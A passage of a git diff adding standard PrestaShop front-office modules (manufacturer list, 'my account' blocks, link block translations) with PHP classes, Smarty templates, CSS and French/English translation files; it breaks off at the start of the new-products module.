+$_MODULE['<{blocklink}prestashop>blocklink_f16b5952df8d25ea30b25ff95ee8fedf'] = 'Association des boutiques :'; +$_MODULE['<{blocklink}prestashop>blocklink_7f3ee1818e42cfd668e361d89b8595fb'] = 'Ajouter ce lien'; +$_MODULE['<{blocklink}prestashop>blocklink_b22c8f9ad7db023c548c3b8e846cb169'] = 'Titre du bloc'; +$_MODULE['<{blocklink}prestashop>blocklink_2c906769e7f8b03cc1fedce4e24a20c2'] = 'Titre du bloc :'; +$_MODULE['<{blocklink}prestashop>blocklink_67c94c1cba852f2d13eed115c938baf6'] = 'URL du bloc :'; +$_MODULE['<{blocklink}prestashop>blocklink_06933067aafd48425d67bcb01bba5cb6'] = 'Mettre à jour'; +$_MODULE['<{blocklink}prestashop>blocklink_f4f70727dc34561dfde1a3c529b6205c'] = 'Configuration'; +$_MODULE['<{blocklink}prestashop>blocklink_53db43446b84dd2e9ddac626fc02ead3'] = 'Trier la liste :'; +$_MODULE['<{blocklink}prestashop>blocklink_d36e9f57ea37903f81d28f7a189b9649'] = 'par liens les plus récents'; +$_MODULE['<{blocklink}prestashop>blocklink_6ccdff04699ffe6956a6b1465907414a'] = 'les premiers liens entrés'; +$_MODULE['<{blocklink}prestashop>blocklink_387a8014f530f080bf2f3be723f8c164'] = 'Liste de liens'; +$_MODULE['<{blocklink}prestashop>blocklink_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{blocklink}prestashop>blocklink_9dffbf69ffba8bc38bc4e01abf4b1675'] = 'Texte'; +$_MODULE['<{blocklink}prestashop>blocklink_e6b391a8d2c4d45902a23a8b6585703d'] = 'URL'; +$_MODULE['<{blocklink}prestashop>blocklink_06df33001c1d7187fdd81ea1f5b277aa'] = 'Actions'; +$_MODULE['<{blocklink}prestashop>blocklink_cad0a4e92b29bcb1ff1fc4f8524cfdc2'] = 'Il n\'y a pas de lien.'; diff --git a/modules/blocklink/translations/index.php b/modules/blocklink/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocklink/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockmanufacturer/blockmanufacturer.php b/modules/blockmanufacturer/blockmanufacturer.php new file mode 100755 index 0000000..9f760c3 --- /dev/null +++ b/modules/blockmanufacturer/blockmanufacturer.php @@ -0,0 +1,129 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockManufacturer extends Module +{ + public function __construct() + { + $this->name = 'blockmanufacturer'; + $this->tab = 'front_office_features'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Manufacturers block'); + $this->description = $this->l('Displays a block listing product manufacturers and/or brands.'); + } + + public function install() + { + Configuration::updateValue('MANUFACTURER_DISPLAY_TEXT', true); + Configuration::updateValue('MANUFACTURER_DISPLAY_TEXT_NB', 5); + Configuration::updateValue('MANUFACTURER_DISPLAY_FORM', true); + return parent::install() && $this->registerHook('leftColumn') && $this->registerHook('header'); + } + + public function hookLeftColumn($params) + { + $this->smarty->assign(array( + 'manufacturers' => Manufacturer::getManufacturers(), + 'text_list' => Configuration::get('MANUFACTURER_DISPLAY_TEXT'), + 'text_list_nb' => Configuration::get('MANUFACTURER_DISPLAY_TEXT_NB'), + 'form_list' => Configuration::get('MANUFACTURER_DISPLAY_FORM'), + 'display_link_manufacturer' => Configuration::get('PS_DISPLAY_SUPPLIERS'), + )); + return $this->display(__FILE__, 'blockmanufacturer.tpl'); + } + + public function hookRightColumn($params) + { + return $this->hookLeftColumn($params); + } + + public function getContent() + { + $output = '

        '.$this->displayName.'

        '; + if (Tools::isSubmit('submitBlockManufacturers')) + { + $text_list = (int)(Tools::getValue('text_list')); + $text_nb = (int)(Tools::getValue('text_nb')); + $form_list = (int)(Tools::getValue('form_list')); + if ($text_list && !Validate::isUnsignedInt($text_nb)) + $errors[] = $this->l('There is an invalid number of elements'); + elseif (!$text_list && !$form_list) + $errors[] = $this->l('Please activate at least one system list.'); + else + { + Configuration::updateValue('MANUFACTURER_DISPLAY_TEXT', $text_list); + Configuration::updateValue('MANUFACTURER_DISPLAY_TEXT_NB', $text_nb); + Configuration::updateValue('MANUFACTURER_DISPLAY_FORM', $form_list); + } + if (isset($errors) && count($errors)) + $output .= $this->displayError(implode('
        ', $errors)); + else + $output .= $this->displayConfirmation($this->l('Settings updated')); + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + $output = ' +
        +
        '.$this->l('Settings').' + +
        + + + + +    '.$this->l('Display').' '.$this->l('Elements').' +

        '.$this->l('Display manufacturers in a plain-text list').'

        +
        + +
        + + + + +

        '.$this->l('Display manufacturers in a drop-down list.').'

        +
        +
        +
        +
        '; + return $output; + } + + public function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blockmanufacturer.css', 'all'); + } +} diff --git a/modules/blockmanufacturer/blockmanufacturer.tpl b/modules/blockmanufacturer/blockmanufacturer.tpl new file mode 100755 index 0000000..c0cb88e --- /dev/null +++ b/modules/blockmanufacturer/blockmanufacturer.tpl @@ -0,0 +1,57 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {if $display_link_manufacturer}{/if}{l s='Manufacturers' mod='blockmanufacturer'}{if $display_link_manufacturer}{/if}

        +
        +{if $manufacturers} + {if $text_list} + + {/if} + {if $form_list} +
        +

        + +

        +
        + {/if} +{else} +

        {l s='No manufacturer' mod='blockmanufacturer'}

        +{/if} +
        +
        + diff --git a/modules/blockmanufacturer/img/arrow_right_2.png b/modules/blockmanufacturer/img/arrow_right_2.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/modules/blockmanufacturer/img/arrow_right_2.png differ diff --git a/modules/blockmanufacturer/img/index.php b/modules/blockmanufacturer/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockmanufacturer/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockmanufacturer/index.php b/modules/blockmanufacturer/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockmanufacturer/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockmanufacturer/logo.gif b/modules/blockmanufacturer/logo.gif new file mode 100755 index 0000000..659aace Binary files /dev/null and b/modules/blockmanufacturer/logo.gif differ diff --git a/modules/blockmanufacturer/logo.png b/modules/blockmanufacturer/logo.png new file mode 100755 index 0000000..5326714 Binary files /dev/null and b/modules/blockmanufacturer/logo.png differ diff --git a/modules/blockmanufacturer/translations/en.php b/modules/blockmanufacturer/translations/en.php new file mode 100755 index 0000000..70e3340 --- /dev/null +++ b/modules/blockmanufacturer/translations/en.php @@ -0,0 +1,6 @@ +blockmanufacturer_49fa2426b7903b3d4c89e2c1874d9346'] = 'Learn more about'; diff --git a/modules/blockmanufacturer/translations/fr.php b/modules/blockmanufacturer/translations/fr.php new file mode 100755 index 0000000..7ec0490 --- /dev/null +++ b/modules/blockmanufacturer/translations/fr.php @@ -0,0 +1,25 @@ +blockmanufacturer_bc3e73cfa718a3237fb1d7e1da491395'] = 'Bloc fabricant'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_71087c7035e626bd33c72ae9a7f042af'] = 'Ajoute un bloc avec les fabricants/marques'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_067931ed6c365d76c9f32285a6b49839'] = 'Nombre non valable d\'éléments'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_5b2e13ff6fa0da895d14bd56f2cb2d2d'] = 'Veuillez activer au moins un affichage de liste'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_b4251faa73b3c8188623fdc8fe287513'] = 'Utiliser une liste en text brut'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_b9987a246a537f4fe86f1f2e3d10dbdb'] = 'Afficher'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_aa56a2e65d8106aef3c61e4f6bf94fdb'] = 'éléments'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_c6dfa38603c2ea64217d462000a09da4'] = 'Affiche les fabricants sous forme de liste textuelle'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_ac88955a067710291274d21dec443904'] = 'Utiliser un menu déroulant'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_56353167778d1520bfecc70c470e6d8a'] = 'Affiche les fabricants sous forme de menu déroulant'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_2377be3c2ad9b435ba277a73f0f1ca76'] = 'Fabricants'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_9d098ff02f6813055b869f6f9acd831c'] = 'En savoir plus sur'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_bf24faeb13210b5a703f3ccef792b000'] = 'Tous les fabricants'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_1c407c118b89fa6feaae6b0af5fc0970'] = 'Aucun fabricant'; +$_MODULE['<{blockmanufacturer}prestashop>blockmanufacturer_49fa2426b7903b3d4c89e2c1874d9346'] = 'En savoir plus sur'; diff --git a/modules/blockmanufacturer/translations/index.php b/modules/blockmanufacturer/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockmanufacturer/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockmyaccount/blockmyaccount.php b/modules/blockmyaccount/blockmyaccount.php new file mode 100755 index 0000000..d16ca8e --- /dev/null +++ b/modules/blockmyaccount/blockmyaccount.php @@ -0,0 +1,100 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockMyAccount extends Module +{ + public function __construct() + { + $this->name = 'blockmyaccount'; + $this->tab = 'front_office_features'; + $this->version = '1.2'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('My Account block'); + $this->description = $this->l('Displays a block with links relative to a user\'s account.'); + } + + public function install() + { + if (!$this->addMyAccountBlockHook() + || !parent::install() + || !$this->registerHook('displayLeftColumn') + || !$this->registerHook('displayHeader')) + return false; + return true; + } + + public function uninstall() + { + return (parent::uninstall() && $this->removeMyAccountBlockHook()); + } + + public function hookDisplayLeftColumn($params) + { + if (!$this->context->customer->isLogged()) + return false; + + $this->smarty->assign(array( + 'voucherAllowed' => CartRule::isFeatureActive(), + 'returnAllowed' => (int)Configuration::get('PS_ORDER_RETURN'), + 'HOOK_BLOCK_MY_ACCOUNT' => Hook::exec('displayMyAccountBlock'), + )); + return $this->display(__FILE__, $this->name.'.tpl'); + } + + public function hookDisplayRightColumn($params) + { + return $this->hookDisplayLeftColumn($params); + } + + public function hookDisplayFooter($params) + { + return $this->hookDisplayLeftColumn($params); + } + + private function addMyAccountBlockHook() + { + return Db::getInstance()->execute('INSERT IGNORE INTO `'._DB_PREFIX_.'hook` (`name`, `title`, `description`, `position`) VALUES (\'displayMyAccountBlock\', \'My account block\', \'Display extra informations inside the "my account" block\', 1)'); + } + + private function removeMyAccountBlockHook() + { + return Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'hook` WHERE `name` = \'displayMyAccountBlock\''); + } + + public function hookDisplayHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blockmyaccount.css', 'all'); + } +} + + diff --git a/modules/blockmyaccount/blockmyaccount.tpl b/modules/blockmyaccount/blockmyaccount.tpl new file mode 100755 index 0000000..0c79610 --- /dev/null +++ b/modules/blockmyaccount/blockmyaccount.tpl @@ -0,0 +1,42 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/modules/blockmyaccount/index.php b/modules/blockmyaccount/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockmyaccount/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockmyaccount/logo.gif b/modules/blockmyaccount/logo.gif new file mode 100755 index 0000000..bd22d00 Binary files /dev/null and b/modules/blockmyaccount/logo.gif differ diff --git a/modules/blockmyaccount/logo.png b/modules/blockmyaccount/logo.png new file mode 100755 index 0000000..dfeffdc Binary files /dev/null and b/modules/blockmyaccount/logo.png differ diff --git a/modules/blockmyaccount/translations/fr.php b/modules/blockmyaccount/translations/fr.php new file mode 100755 index 0000000..062de95 --- /dev/null +++ b/modules/blockmyaccount/translations/fr.php @@ -0,0 +1,15 @@ +blockmyaccount_ecf3e4f8f34a293099620cc25d5b4d93'] = 'Bloc Mon compte'; +$_MODULE['<{blockmyaccount}prestashop>blockmyaccount_ecf2ffd31994b3edea4b916011b08bfa'] = 'Affiche un bloc avec des liens relatifs au compte du client.'; +$_MODULE['<{blockmyaccount}prestashop>blockmyaccount_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{blockmyaccount}prestashop>blockmyaccount_74ecd9234b2a42ca13e775193f391833'] = 'Mes commandes'; +$_MODULE['<{blockmyaccount}prestashop>blockmyaccount_89080f0eedbd5491a93157930f1e45fc'] = 'Mes retours produits'; +$_MODULE['<{blockmyaccount}prestashop>blockmyaccount_9132bc7bac91dd4e1c453d4e96edf219'] = 'Mes avoirs'; +$_MODULE['<{blockmyaccount}prestashop>blockmyaccount_e45be0a0d4a0b62b15694c1a631e6e62'] = 'Mes adresses'; +$_MODULE['<{blockmyaccount}prestashop>blockmyaccount_63b1ba91576576e6cf2da6fab7617e58'] = 'Mes données personnelles'; +$_MODULE['<{blockmyaccount}prestashop>blockmyaccount_95d2137c196c7f84df5753ed78f18332'] = 'Mes bons de réductions'; +$_MODULE['<{blockmyaccount}prestashop>blockmyaccount_c87aacf5673fada1108c9f809d354311'] = 'Déconnexion'; diff --git a/modules/blockmyaccount/translations/index.php b/modules/blockmyaccount/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockmyaccount/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockmyaccountfooter/blockmyaccount.css b/modules/blockmyaccountfooter/blockmyaccount.css new file mode 100755 index 0000000..0d416fb --- /dev/null +++ b/modules/blockmyaccountfooter/blockmyaccount.css @@ -0,0 +1,33 @@ +/* block myaccount */ +.myaccount ul {margin-bottom:10px} +.myaccount li {border-bottom: 1px solid #eee} +.myaccount li a { + display: block; + padding: 7px 11px 5px 22px; + color: #333; + background: url("../blockcms/img/arrow_right_2.png") no-repeat 10px 10px transparent; +} +.myaccount p.logout { + padding-bottom:0; + font-weight:bold; + text-align:right +} + + +/* block myaccount in footer */ +#footer .myaccount .title_block, #footer .myaccount h4 {background: none;} +#footer .myaccount .logout {display:none;} +#footer .myaccount .title_block, #footer .myaccount h4 { + padding:0 0 10px 0; + background:none +} +#footer .myaccount ul {margin-bottom:0} +#footer .myaccount li {border-bottom:none} +#footer .myaccount li a { + display: block; + padding:0; + color: #fff; + background: none +} +#footer .myaccount li.lnk_wishlist img {display:none +} diff --git a/modules/blockmyaccountfooter/blockmyaccountfooter.php b/modules/blockmyaccountfooter/blockmyaccountfooter.php new file mode 100755 index 0000000..3d5cc91 --- /dev/null +++ b/modules/blockmyaccountfooter/blockmyaccountfooter.php @@ -0,0 +1,104 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class Blockmyaccountfooter extends Module +{ + public function __construct() + { + $this->name = 'blockmyaccountfooter'; + $this->tab = 'front_office_features'; + $this->version = '1.2'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('My account block for your website\'s footer'); + $this->description = $this->l('Displays a block with links relative to user accounts.'); + } + + public function install() + { + if (!$this->addMyAccountBlockHook() || !parent::install() || !$this->registerHook('footer') || !$this->registerHook('header')) + return false; + return true; + } + + public function uninstall() + { + return parent::uninstall() && $this->removeMyAccountBlockHook(); + } + + public function hookLeftColumn($params) + { + global $smarty; + + if (!$params['cookie']->isLogged()) + return false; + $smarty->assign(array( + 'voucherAllowed' => CartRule::isFeatureActive(), + 'returnAllowed' => (int)(Configuration::get('PS_ORDER_RETURN')), + 'HOOK_BLOCK_MY_ACCOUNT' => Hook::exec('displayMyAccountBlock') + )); + return $this->display(__FILE__, $this->name.'.tpl'); + } + + public function hookRightColumn($params) + { + return $this->hookLeftColumn($params); + } + + private function addMyAccountBlockHook() + { + return Db::getInstance()->execute('INSERT IGNORE INTO `'._DB_PREFIX_.'hook` (`name`, `title`, `description`, `position`) VALUES (\'displayMyAccountBlockfooter\', \'My account block\', \'Display extra informations inside the "my account" block\', 1)'); + } + + private function removeMyAccountBlockHook() + { + return Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'hook` WHERE `name` = \'displayMyAccountBlockfooter\''); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blockmyaccount.css', 'all'); + } + + public function hookFooter($params) + { + global $smarty; + + if (!$this->isCached('blockmyaccountfooter.tpl', $this->getCacheId())) + $smarty->assign(array( + 'voucherAllowed' => CartRule::isFeatureActive(), + 'returnAllowed' => (int)(Configuration::get('PS_ORDER_RETURN')), + 'HOOK_BLOCK_MY_ACCOUNT' => Hook::exec('displayMyAccountBlock') + )); + return $this->display(__FILE__, 'blockmyaccountfooter.tpl', $this->getCacheId()); + } +} diff --git a/modules/blockmyaccountfooter/blockmyaccountfooter.tpl b/modules/blockmyaccountfooter/blockmyaccountfooter.tpl new file mode 100755 index 0000000..078d867 --- /dev/null +++ b/modules/blockmyaccountfooter/blockmyaccountfooter.tpl @@ -0,0 +1,42 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/modules/blockmyaccountfooter/index.php b/modules/blockmyaccountfooter/index.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/blockmyaccountfooter/logo.gif b/modules/blockmyaccountfooter/logo.gif new file mode 100755 index 0000000..bd22d00 Binary files /dev/null and b/modules/blockmyaccountfooter/logo.gif differ diff --git a/modules/blockmyaccountfooter/logo.png b/modules/blockmyaccountfooter/logo.png new file mode 100755 index 0000000..f74c289 Binary files /dev/null and b/modules/blockmyaccountfooter/logo.png differ diff --git a/modules/blockmyaccountfooter/translations/en.php b/modules/blockmyaccountfooter/translations/en.php new file mode 100755 index 0000000..67a62d2 --- /dev/null +++ b/modules/blockmyaccountfooter/translations/en.php @@ -0,0 +1,10 @@ +blockmyaccountfooter_057d295c52fbfa6009018983adfcfef3'] = 'My orders'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_84717c9dceaf4edb4d68fb83baad9c5b'] = 'My returns'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_adb86424a996157ea978c08a665aa552'] = 'My credit slips'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_ce1f9a653c6297bee14973a2af3c4493'] = 'My addresses'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_1f94d078255c7cee3fcfd50c762101e6'] = 'My vouchers'; diff --git a/modules/blockmyaccountfooter/translations/fr.php b/modules/blockmyaccountfooter/translations/fr.php new file mode 100755 index 0000000..0f3fbcf --- /dev/null +++ b/modules/blockmyaccountfooter/translations/fr.php @@ -0,0 +1,23 @@ +blockmyaccountfooter_b97d23f7cde011d190f39468e146425e'] = 'Bloc Mon compte dans le pied de page'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_abdb95361b4c92488add0a5a37afabcb'] = 'Affiche un bloc avec des liens relatifs au compte du client.'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_ae9ec80afffec5a455fbf2361a06168a'] = 'Gérer mon compte client'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_74ecd9234b2a42ca13e775193f391833'] = 'Mes commandes'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_5973e925605a501b18e48280f04f0347'] = 'Voir mes retours produits'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_89080f0eedbd5491a93157930f1e45fc'] = 'Mes retours de marchandise'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_9132bc7bac91dd4e1c453d4e96edf219'] = 'Mes avoirs'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_e45be0a0d4a0b62b15694c1a631e6e62'] = 'Mes adresses'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_b4b80a59559e84e8497f746aac634674'] = 'Gérer mes informations personnelles'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_63b1ba91576576e6cf2da6fab7617e58'] = 'Mes informations personnelles'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_95d2137c196c7f84df5753ed78f18332'] = 'Mes bons de réduction'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_c87aacf5673fada1108c9f809d354311'] = 'Se déconnecter'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_057d295c52fbfa6009018983adfcfef3'] = 'Voir mes commandes'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_84717c9dceaf4edb4d68fb83baad9c5b'] = 'Voir mes retours produits'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_adb86424a996157ea978c08a665aa552'] = 'Voir mes avoirs'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_ce1f9a653c6297bee14973a2af3c4493'] = 'Voir mes adresses'; +$_MODULE['<{blockmyaccountfooter}prestashop>blockmyaccountfooter_1f94d078255c7cee3fcfd50c762101e6'] = 'Voir mes réductions'; diff --git a/modules/blockmyaccountfooter/translations/index.php b/modules/blockmyaccountfooter/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockmyaccountfooter/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewproducts/blocknewproducts.css b/modules/blocknewproducts/blocknewproducts.css new file mode 100755 index 0000000..1229699 --- /dev/null +++ b/modules/blocknewproducts/blocknewproducts.css @@ -0,0 +1,51 @@ +/* Block new products */ +#new-products_block_right ul {list-style-type:none;} +#new-products_block_right li { + float:left; + margin-right:20px; + padding:10px 0; +} +#new-products_block_right li.first {margin-left:30px;} + +#new-products_block_right dl { + list-style-type:none; +} +#new-products_block_right dt { + padding:10px 0 0 0; + font-weight:bold; + font-size:12px; + color:#333; +} +#new-products_block_right dd, +#new-products_block_right dd a { + color:#666; +} +#new-products_block_right dd { + padding:0 0 10px 0; + border-bottom:1px dotted #ccc; + +} +#new-products_block_right dd.last_item {border:none;} +#new-products_block_right dd a.lnk_more { + padding-right: 10px; + font-weight:bold; + color:#0088cc; + background:url(img/arrow_right_1.png) no-repeat 100% 4px; +} + +#new-products_block_right p { + padding:0; + text-align:right; +} + +#new-products_block_right p.title_block, #new-products_block_right h4 { + padding:6px 11px; + text-align:left; +} +#new-products_block_right .button_large { + padding:0; + border:none; + background:none; + color:#333; +} +#new-products_block_right .button_large:hover {text-decoration:underline} diff --git a/modules/blocknewproducts/blocknewproducts.php 